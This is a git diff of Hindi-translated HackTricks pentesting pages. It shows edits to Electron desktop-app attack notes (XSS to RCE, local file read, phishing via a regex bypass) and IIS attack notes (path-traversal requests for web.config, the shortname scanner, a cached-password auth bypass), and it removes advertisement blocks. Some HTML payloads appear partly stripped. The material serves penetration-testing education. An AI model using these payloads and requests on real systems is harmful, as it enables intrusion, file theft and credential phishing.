[**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - डिफ़ॉल्ट रूप से `off` है। यह NodeJS द्वारा किए जा सकने वाले कार्यों को प्रतिबंधित करेगा। -* Workers में Node Integration -* **`nodeIntegrationInSubframes`** - डिफ़ॉल्ट रूप से `off` है। -* यदि **`nodeIntegration`** **सक्षम** है, तो यह Electron एप्लिकेशन के भीतर **iframes** में **लोड की गई** वेब पृष्ठों में **Node.js APIs** के उपयोग की अनुमति देगा। -* यदि **`nodeIntegration`** **अक्षम** है, तो preloads iframe में लोड होंगे। +* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - डिफ़ॉल्ट रूप से बंद है। यह NodeJS द्वारा किए जा सकने वाले कार्यों को प्रतिबंधित करेगा। +* Node Integration in Workers +* **`nodeIntegrationInSubframes`**- डिफ़ॉल्ट रूप से `off` है। +* यदि **`nodeIntegration`** **सक्षम** है, तो यह Electron एप्लिकेशन के भीतर **ifram में लोड किए गए** वेब पृष्ठों में **Node.js APIs** के उपयोग की अनुमति देगा। +* यदि **`nodeIntegration`** **अक्षम** है, तो प्रीलोड ifram में लोड होंगे। -Configuration का उदाहरण: +Example of configuration: ```javascript const mainWindowOptions = { title: 'Discord', @@ -175,11 +162,11 @@ runCalc(); ## RCE: XSS + contextIsolation -_**contextIsolation**_ **वेब पृष्ठ स्क्रिप्ट और JavaScript Electron के आंतरिक कोड के बीच अलग-अलग संदर्भों को पेश करता है** ताकि प्रत्येक कोड का JavaScript निष्पादन एक-दूसरे को प्रभावित न करे। यह RCE की संभावना को समाप्त करने के लिए एक आवश्यक विशेषता है। +_**contextIsolation**_ **वेब पृष्ठ स्क्रिप्ट और JavaScript Electron के आंतरिक कोड के बीच अलग-अलग संदर्भों** को पेश करता है ताकि प्रत्येक कोड का JavaScript निष्पादन एक-दूसरे को प्रभावित न करे। यह RCE की संभावना को समाप्त करने के लिए एक आवश्यक विशेषता है। यदि संदर्भ अलग नहीं हैं, तो एक हमलावर कर सकता है: -1. **renderer में मनमाना JavaScript निष्पादित करें** (XSS या बाहरी साइटों पर नेविगेशन) +1. **renderer में मनमाना JavaScript निष्पादित करें** (XSS या बाहरी साइटों पर नेविगेट करना) 2. **बिल्ट-इन विधि को ओवरराइट करें** जो प्रीलोड या Electron आंतरिक कोड में उपयोग की जाती है अपने फ़ंक्शन के लिए 3. **ओवरराइट की गई फ़ंक्शन** का उपयोग करने के लिए **ट्रिगर करें** 4. RCE? @@ -200,7 +187,7 @@ _**contextIsolation**_ **वेब पृष्ठ स्क्रिप्ट ### क्लिक इवेंट बायपास करें -यदि आप एक लिंक पर क्लिक करते समय प्रतिबंध लागू होते हैं, तो आप **एक सामान्य बाएं क्लिक के बजाय मध्य क्लिक करके** उन्हें बायपास कर सकते हैं। +यदि आप एक लिंक पर क्लिक करते समय प्रतिबंध लागू होते हैं, तो आप **एक सामान्य बाएं क्लिक के बजाय मध्य क्लिक** करके उन्हें बायपास कर सकते हैं। ```javascript window.addEventListener('click', (e) => { ``` @@ -210,7 +197,7 @@ window.addEventListener('click', (e) => { जब एक Electron डेस्कटॉप एप्लिकेशन को तैनात किया जाता है, तो `nodeIntegration` और `contextIsolation` के लिए सही सेटिंग्स सुनिश्चित करना महत्वपूर्ण है। यह स्थापित किया गया है कि **क्लाइंट-साइड रिमोट कोड निष्पादन (RCE)** जो प्रीलोड स्क्रिप्ट या मुख्य प्रक्रिया से Electron के मूल कोड को लक्षित करता है, इन सेटिंग्स के साथ प्रभावी रूप से रोका जाता है। -जब एक उपयोगकर्ता लिंक के साथ इंटरैक्ट करता है या नए विंडो खोलता है, तो विशिष्ट इवेंट लिस्नर्स ट्रिगर होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण होते हैं: +जब एक उपयोगकर्ता लिंक के साथ इंटरैक्ट करता है या नई विंडो खोलता है, तो विशिष्ट इवेंट लिस्नर्स ट्रिगर होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण होते हैं: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} @@ -245,7 +232,7 @@ window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResu ![](<../../../.gitbook/assets/1 u1jdRYuWAEVwJmf\_F2ttJg (1).png>) -इसके अलावा, **एक आंतरिक फ़ाइल पढ़ने** के लिए एक और विधि साझा की गई है, जो एक Electron डेस्कटॉप ऐप में एक महत्वपूर्ण स्थानीय फ़ाइल पढ़ने की भेद्यता को उजागर करती है। इसमें डेटा निकालने के लिए एप्लिकेशन का लाभ उठाने के लिए एक स्क्रिप्ट इंजेक्ट करना शामिल है: +इसके अलावा, **एक आंतरिक फ़ाइल पढ़ने** के लिए एक और विधि साझा की गई है, जो एक Electron डेस्कटॉप ऐप में एक महत्वपूर्ण स्थानीय फ़ाइल पढ़ने की भेद्यता को उजागर करती है। इसमें डेटा निकालने और एप्लिकेशन का लाभ उठाने के लिए एक स्क्रिप्ट इंजेक्ट करना शामिल है: ```html



pwn
@@ -256,19 +243,19 @@ function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body ``` ## **RCE: XSS + पुराना Chromium** -यदि एप्लिकेशन द्वारा उपयोग किया जाने वाला **chromium** **पुराना** है और इसमें **ज्ञात** **कमजोरियाँ** हैं, तो इसे **शोषित करना और XSS के माध्यम से RCE प्राप्त करना संभव हो सकता है।**\ +यदि एप्लिकेशन द्वारा उपयोग किया जाने वाला **chromium** **पुराना** है और इसमें **ज्ञात** **कमजोरियाँ** हैं, तो इसे **शोषित करना और XSS के माध्यम से RCE प्राप्त करना** संभव हो सकता है।\ आप इस **writeup** में एक उदाहरण देख सकते हैं: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) -## **आंतरिक URL regex बाईपास के माध्यम से XSS फ़िशिंग** +## **आंतरिक URL regex बायपास के माध्यम से XSS फ़िशिंग** -मान लीजिए कि आपने एक XSS पाया है लेकिन आप **RCE को ट्रिगर नहीं कर सकते या आंतरिक फ़ाइलें चुरा नहीं सकते**, तो आप इसे **फ़िशिंग के माध्यम से क्रेडेंशियल्स चुराने के लिए उपयोग करने की कोशिश कर सकते हैं।** +मान लीजिए कि आपने एक XSS पाया है लेकिन आप **RCE को ट्रिगर नहीं कर सकते या आंतरिक फ़ाइलें चुरा नहीं सकते**, तो आप इसे **फ़िशिंग के माध्यम से क्रेडेंशियल्स चुराने** के लिए उपयोग करने की कोशिश कर सकते हैं। -सबसे पहले, आपको यह जानने की आवश्यकता है कि जब आप एक नया URL खोलने की कोशिश करते हैं, तो फ्रंट-एंड में JS कोड की जांच करते समय क्या होता है: +सबसे पहले, आपको यह जानने की आवश्यकता है कि जब आप एक नया URL खोलने की कोशिश करते हैं, तो फ्रंट-एंड में JS कोड में क्या होता है: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` -**`openInternally`** को कॉल करने से यह तय होगा कि **link** **desktop window** में **खुला** जाएगा क्योंकि यह प्लेटफ़ॉर्म से संबंधित एक लिंक है, **या** इसे **browser में 3rd party resource** के रूप में खोला जाएगा। +**`openInternally`** को कॉल करने से यह तय होगा कि **link** **desktop window** में **खुली** जाएगी क्योंकि यह प्लेटफ़ॉर्म से संबंधित एक लिंक है, **या** इसे **browser में 3rd party resource** के रूप में खोला जाएगा। यदि फ़ंक्शन द्वारा उपयोग किया गया **regex** **bypasses** के लिए **vulnerable** है (उदाहरण के लिए **subdomains** के डॉट्स को **escape** न करके), तो एक हमलावर XSS का दुरुपयोग कर सकता है **एक नई विंडो खोलने के लिए जो** हमलावर के बुनियादी ढांचे में स्थित होगी **उपयोगकर्ता से क्रेडेंशियल्स** मांगते हुए: ```html @@ -310,7 +297,7 @@ cd vulnerable1 npm install npm start ``` -## **References** +## **संदर्भ** * [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028) * [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d) @@ -320,18 +307,6 @@ npm start * Electron सुरक्षा के बारे में अधिक शोध और लेख [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) * [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या किसी कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर** द्वारा **समझौता** किया गया है। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मैलवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -340,9 +315,9 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें -* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें **फॉलो** करें।** -* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।** +* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। {% endhint %} diff --git a/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 730beb41c..6ba8da4c3 100644 --- a/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -9,26 +9,12 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** -* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **मुफ्त** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **समझौता** किया गया है **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** - परीक्षण निष्पादन योग्य फ़ाइल एक्सटेंशन: * asp @@ -38,7 +24,7 @@ WhiteIntel का प्राथमिक लक्ष्य जानकार ## आंतरिक IP पता लीक -किसी भी IIS सर्वर पर जहां आपको 302 मिलता है, आप होस्ट हेडर को स्ट्रिप करने और HTTP/1.0 का उपयोग करने की कोशिश कर सकते हैं और प्रतिक्रिया के अंदर स्थान हेडर आपको आंतरिक IP पते की ओर इंगित कर सकता है: +किसी भी IIS सर्वर पर जहाँ आपको 302 मिलता है, आप होस्ट हेडर को हटाने और HTTP/1.0 का उपयोग करने की कोशिश कर सकते हैं और प्रतिक्रिया के अंदर स्थान हेडर आपको आंतरिक IP पते की ओर इंगित कर सकता है: ``` nc -v domain.com 80 openssl s_client -connect domain.com:443 @@ -84,9 +70,9 @@ X-FEServer: NHEXCHANGE2016 पूर्ण लेखन की जांच करें: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) {% hint style="info" %} -संक्षेप में, एप्लिकेशन के फ़ोल्डरों के अंदर कई web.config फ़ाइलें हैं जिनमें "**assemblyIdentity**" फ़ाइलों और "**namespaces**" के संदर्भ हैं। इस जानकारी के साथ यह जानना संभव है **कि निष्पादन योग्य फ़ाइलें कहाँ स्थित हैं** और उन्हें डाउनलोड करें।\ -**डाउनलोड की गई Dlls** से यह भी संभव है **नए namespaces** को खोजने के लिए जहाँ आपको पहुँचने का प्रयास करना चाहिए और web.config फ़ाइल प्राप्त करनी चाहिए ताकि नए namespaces और assemblyIdentity मिल सकें।\ -इसके अलावा, फ़ाइलें **connectionstrings.config** और **global.asax** में दिलचस्प जानकारी हो सकती है।\\ +संक्षेप में, एप्लिकेशन के फ़ोल्डरों के अंदर कई web.config फ़ाइलें हैं जिनमें "**assemblyIdentity**" फ़ाइलों और "**namespaces**" के संदर्भ हैं। इस जानकारी के साथ यह जानना संभव है कि **executables कहाँ स्थित हैं** और उन्हें डाउनलोड करें।\ +**डाउनलोड की गई Dlls** से यह भी संभव है कि **नए namespaces** खोजें जहाँ आपको पहुँचने का प्रयास करना चाहिए और web.config फ़ाइल प्राप्त करनी चाहिए ताकि नए namespaces और assemblyIdentity मिल सकें।\ +इसके अलावा, फ़ाइलें **connectionstrings.config** और **global.asax** दिलचस्प जानकारी रख सकती हैं।\\ {% endhint %} **.Net MVC अनुप्रयोगों** में, **web.config** फ़ाइल एक महत्वपूर्ण भूमिका निभाती है, जो प्रत्येक बाइनरी फ़ाइल को निर्दिष्ट करती है जिस पर एप्लिकेशन निर्भर करता है **"assemblyIdentity"** XML टैग के माध्यम से। @@ -101,20 +87,20 @@ Host: example-mvc-application.minded यह अनुरोध विभिन्न सेटिंग्स और निर्भरताओं को प्रकट करता है, जैसे: * **EntityFramework** संस्करण -* **AppSettings** वेबपेज, क्लाइंट सत्यापन, और JavaScript के लिए +* **AppSettings** वेबपेज, क्लाइंट मान्यता, और JavaScript के लिए * **System.web** प्रमाणीकरण और रनटाइम के लिए कॉन्फ़िगरेशन * **System.webServer** मॉड्यूल सेटिंग्स * **Runtime** असेंबली बाइंडिंग्स कई पुस्तकालयों के लिए जैसे **Microsoft.Owin**, **Newtonsoft.Json**, और **System.Web.Mvc** -ये सेटिंग्स यह संकेत देती हैं कि कुछ फ़ाइलें, जैसे **/bin/WebGrease.dll**, एप्लिकेशन के /bin फ़ोल्डर के भीतर स्थित हैं। +ये सेटिंग्स यह संकेत देती हैं कि कुछ फ़ाइलें, जैसे **/bin/WebGrease.dll**, अनुप्रयोग के /bin फ़ोल्डर के भीतर स्थित हैं। ### **रूट डायरेक्टरी फ़ाइलें** -रूट डायरेक्टरी में पाई जाने वाली फ़ाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जो संवेदनशील पासवर्ड रखती है), एप्लिकेशन की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं। +रूट डायरेक्टरी में पाई जाने वाली फ़ाइलें, जैसे **/global.asax** और **/connectionstrings.config** (जो संवेदनशील पासवर्ड रखती है), अनुप्रयोग की कॉन्फ़िगरेशन और संचालन के लिए आवश्यक हैं। ### **Namespaces और Web.Config** -MVC एप्लिकेशन विशिष्ट नामस्थान के लिए अतिरिक्त **web.config फ़ाइलें** भी परिभाषित करते हैं ताकि प्रत्येक फ़ाइल में दोहरावदार घोषणाओं से बचा जा सके, जैसा कि एक अन्य **web.config** डाउनलोड करने के अनुरोध के साथ प्रदर्शित किया गया है: +MVC अनुप्रयोग अतिरिक्त **web.config फ़ाइलें** भी परिभाषित करते हैं विशिष्ट namespaces के लिए ताकि प्रत्येक फ़ाइल में दोहरावदार घोषणाओं से बचा जा सके, जैसा कि एक अन्य **web.config** डाउनलोड करने के अनुरोध के साथ प्रदर्शित किया गया है: ```markup GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded @@ -128,7 +114,7 @@ Host: example-mvc-application.minded ``` यह अन्य आवश्यक DLLs की उपस्थिति का सुझाव देता है, जैसे **System.Web.Mvc.dll** और **System.Web.Optimization.dll**, /bin निर्देशिका में। -एक परिदृश्य में जहां एक DLL एक नामस्थान आयात करता है जिसे **WebApplication1.Areas.Minded** कहा जाता है, एक हमलावर अन्य web.config फ़ाइलों के अस्तित्व का अनुमान लगा सकता है जो पूर्वानुमानित पथों में हैं, जैसे **/area-name/Views/**, जिसमें विशिष्ट कॉन्फ़िगरेशन और /bin फ़ोल्डर में अन्य DLLs के संदर्भ शामिल हैं। उदाहरण के लिए, **/Minded/Views/web.config** के लिए एक अनुरोध कॉन्फ़िगरेशन और नामस्थान प्रकट कर सकता है जो एक अन्य DLL, **WebApplication1.AdditionalFeatures.dll** की उपस्थिति का संकेत देता है। +एक परिदृश्य में जहां एक DLL एक नामस्थान आयात करता है जिसे **WebApplication1.Areas.Minded** कहा जाता है, एक हमलावर अन्य web.config फ़ाइलों के अस्तित्व का अनुमान लगा सकता है जो पूर्वानुमानित पथों में हैं, जैसे **/area-name/Views/**, जिसमें विशिष्ट कॉन्फ़िगरेशन और /bin फ़ोल्डर में अन्य DLLs के संदर्भ शामिल हैं। उदाहरण के लिए, **/Minded/Views/web.config** के लिए एक अनुरोध कॉन्फ़िगरेशन और नामस्थान प्रकट कर सकता है जो एक अन्य DLL, **WebApplication1.AdditionalFeatures.dll** की उपस्थिति को इंगित करता है। ### सामान्य फ़ाइलें @@ -213,10 +199,10 @@ C:\xampp\tomcat\conf\server.xml यदि आप निम्नलिखित त्रुटि देखते हैं: -![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) +![](<../../.gitbook/assets/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) इसका मतलब है कि सर्वर ने **Host header** के अंदर सही डोमेन नाम **नहीं प्राप्त किया**।\ -वेब पृष्ठ तक पहुँचने के लिए, आप सर्वर द्वारा प्रदत्त **SSL Certificate** को देख सकते हैं और शायद आप वहां डोमेन/सबडोमेन नाम पा सकते हैं। यदि यह वहाँ नहीं है, तो आपको सही एक को खोजने के लिए **VHosts** को **brute force** करने की आवश्यकता हो सकती है। +वेब पृष्ठ तक पहुँचने के लिए, आप सर्वर द्वारा प्रदत्त **SSL Certificate** को देख सकते हैं और शायद आप वहां डोमेन/सबडोमेन नाम पा सकते हैं। यदि यह वहाँ नहीं है, तो आपको सही एक को खोजने के लिए **VHosts को ब्रूट फोर्स** करने की आवश्यकता हो सकती है। ## Old IIS vulnerabilities worth looking for @@ -225,7 +211,7 @@ C:\xampp\tomcat\conf\server.xml आप इस **technique** का उपयोग करके हर खोजे गए फ़ोल्डर के अंदर **फोल्डर्स और फ़ाइलों को सूचीबद्ध** करने की कोशिश कर सकते हैं (यहां तक कि यदि यह Basic Authentication की आवश्यकता है)।\ यदि सर्वर कमजोर है, तो इस तकनीक की मुख्य सीमा यह है कि **यह प्रत्येक फ़ाइल/फ़ोल्डर के नाम के पहले 6 अक्षरों और फ़ाइलों के एक्सटेंशन के पहले 3 अक्षरों को ही खोज सकता है**। -आप इस कमजोरी के लिए परीक्षण करने के लिए [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) का उपयोग कर सकते हैं:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` +आप इस कमजोरी के लिए [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) का उपयोग कर सकते हैं:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` ![](<../../.gitbook/assets/image (844).png>) @@ -245,7 +231,7 @@ ASP.NET में एक डिबगिंग मोड शामिल है यह एक निश्चित समय अवधि में एक एप्लिकेशन के लिए किए गए सभी अनुरोधों का बहुत विस्तृत लॉग रखता है। -इस जानकारी में दूरस्थ क्लाइंट IP, सत्र आईडी, सभी अनुरोध और प्रतिक्रिया कुकीज़, भौतिक पथ, स्रोत कोड की जानकारी, और संभावित रूप से उपयोगकर्ता नाम और पासवर्ड भी शामिल हैं। +इस जानकारी में दूरस्थ क्लाइंट IP, सत्र आईडी, सभी अनुरोध और प्रतिक्रिया कुकीज़, भौतिक पथ, स्रोत कोड की जानकारी, और संभावित रूप से उपयोगकर्ता नाम और पासवर्ड भी शामिल होते हैं। [https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/) @@ -257,15 +243,15 @@ ASPXAUTH निम्नलिखित जानकारी का उपय * **`validationKey`** (string): हस्ताक्षर सत्यापन के लिए उपयोग करने के लिए हेक्स-कोडित कुंजी। * **`decryptionMethod`** (string): (डिफ़ॉल्ट “AES”)। -* **`decryptionIV`** (string): हेक्स-कोडित प्रारंभिक वेक्टर (डिफ़ॉल्ट रूप से शून्य का वेक्टर)। +* **`decryptionIV`** (string): हेक्स-कोडित प्रारंभिक वेक्टर (शून्य के वेक्टर पर डिफ़ॉल्ट)। * **`decryptionKey`** (string): डिक्रिप्शन के लिए उपयोग करने के लिए हेक्स-कोडित कुंजी। -हालांकि, कुछ लोग इन पैरामीटर के **डिफ़ॉल्ट मानों** का उपयोग करेंगे और **कुकी के रूप में उपयोगकर्ता का ईमेल** का उपयोग करेंगे। इसलिए, यदि आप एक वेब खोज सकते हैं जो ASPXAUTH कुकी का उपयोग कर रहा है और आप **हमले के तहत सर्वर पर उस उपयोगकर्ता के ईमेल के साथ एक उपयोगकर्ता बनाते हैं**, तो आप पहले सर्वर में दूसरे सर्वर की कुकी का उपयोग करके उपयोगकर्ता का **प्रतिरूपण** कर सकते हैं।\ +हालांकि, कुछ लोग इन पैरामीटर के **डिफ़ॉल्ट मानों** का उपयोग करेंगे और **कुकी के रूप में उपयोगकर्ता का ईमेल** का उपयोग करेंगे। इसलिए, यदि आप एक वेब खोज सकते हैं जो ASPXAUTH कुकी का उपयोग कर रहा है और आप **हमले के तहत सर्वर पर उस उपयोगकर्ता के ईमेल के साथ एक उपयोगकर्ता बनाते हैं** जिसे आप अनुकरण करना चाहते हैं, तो आप **पहले सर्वर में दूसरे सर्वर की कुकी का उपयोग कर सकते हैं** और उपयोगकर्ता का अनुकरण कर सकते हैं।\ यह हमला इस [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) में काम किया। ## IIS Authentication Bypass with cached passwords (CVE-2022-30209) -[पूर्ण रिपोर्ट यहाँ](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग **उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता**, इसलिए एक हमलावर जिसका **पासवर्ड हैश एक कुंजी** पर हिट करता है जो पहले से ही **कैश** में है, उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा। +[पूर्ण रिपोर्ट यहाँ](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग **उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता**, इसलिए एक हमलावर जिसका **पासवर्ड हैश एक कुंजी पर हिट करता है** जो पहले से ही **कैश** में है, उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा। ```python # script for sanity check > type test.py @@ -285,29 +271,17 @@ HTTP/1.1 401 Unauthorized > curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP HTTP/1.1 200 OK ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** से प्रेरित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **चुराने वाले मालवेयर** द्वारा **समझौता** किए गए हैं। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी-चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट पर जा सकते हैं और **मुफ्त** में उनके इंजन का प्रयास कर सकते हैं: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks का समर्थन करें -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
{% endhint %} diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md index a40072d2e..7d970684e 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md @@ -15,17 +15,9 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
